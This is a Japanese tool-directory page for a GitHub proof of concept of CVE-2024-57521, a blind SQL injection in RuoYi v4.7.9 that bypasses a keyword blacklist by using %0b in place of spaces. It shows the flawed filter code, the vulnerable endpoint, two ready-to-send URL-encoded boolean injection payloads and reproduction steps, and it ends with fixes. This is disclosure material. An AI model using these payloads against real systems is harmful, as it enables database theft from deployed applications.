Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-57521-SQL-Injection-PoC — RuoYi v4.7.9のブラインドSQLインジェクション概念実証エクスプロイト。CVE-2024-42900フィルターをバイパスし、認証済みブールベースのインジェクションを介してデータベースをダンプする。 | Kitploit
ツール/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

RuoYi v4.7.9のブラインドSQLインジェクション概念実証エクスプロイト。CVE-2024-42900フィルターをバイパスし、認証済みブールベースのインジェクションを介してデータベースをダンプする。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
18ヶ月前未レビュー

RuoYi v4.7.9 における認証済みSQLインジェクション(CVE-2024-42900 のバイパス)

はじめに

RuoYi Framework v4.7.9 の createTable 機能にブラインドSQLインジェクションの脆弱性を発見しました。これにより、認証された管理者が sql パラメータを介して任意のSQLコマンドを実行できます。これは CVE-2024-42900 修正のバイパスです。filterKeyword メソッドのSQLインジェクションフィルタが不十分で、スペースの代替文字として %0b を使用することにより正規表現をバイパスできるためです。

影響を受けるバージョン

Product: RuoYi Framework
Version: ≤ 4.7.9
Link: [RuoYi]

脆弱性分析

この脆弱性は、次の https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java ファイルにあります。アプリケーションはSQLインジェクション攻撃をフィルタリングするためにブラックリストキーワードに依存していますが、このアプローチはバイパスされやすいです。このケースでは、CVE-2024-42900を修正するために /* 文字列がブラックリストに追加されましたが、アプリケーションは依然として %0b 文字をブロックしていないため、select%0b を使用してSQLインジェクションを引き起こすことができます。

root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

正規表現 select は select (スペースが続く)に一致します。SQLで有効な区切り文字である select%0b には一致しません。

ブール型SQLインジェクションの再現手順

  1. 管理者としてログインします
  2. createTable リクエスト(脆弱なエンドポイント /tool/gen/createTable)を送信します
    a. TRUE クエリを注入します: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. FALSE クエリを注入します: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

注意: クエリが成功するたびに、CREATE クエリ内のテーブル名を変更する必要があります。 3. ブールベースのSQLインジェクションを使用すると、このリポジトリ内のPython [poc] を使用してデータを外部に取り出すことができます
使用方法
poc-usage
DBバージョン抽出PoC
poc-db-version

影響

管理者権限を持つ攻撃者は、他のユーザーの認証情報やシステム設定を含むデータベース全体をダンプできます。

推奨事項

  1. %0b 文字をフィルタリングしてください。
  2. キーワード select の代わりに select をフィルタリングしてください(末尾のスペースを削除)
  3. CMS を RuoYi CMS の 4.8.0 バージョンに更新してください。
ツールをダウンロード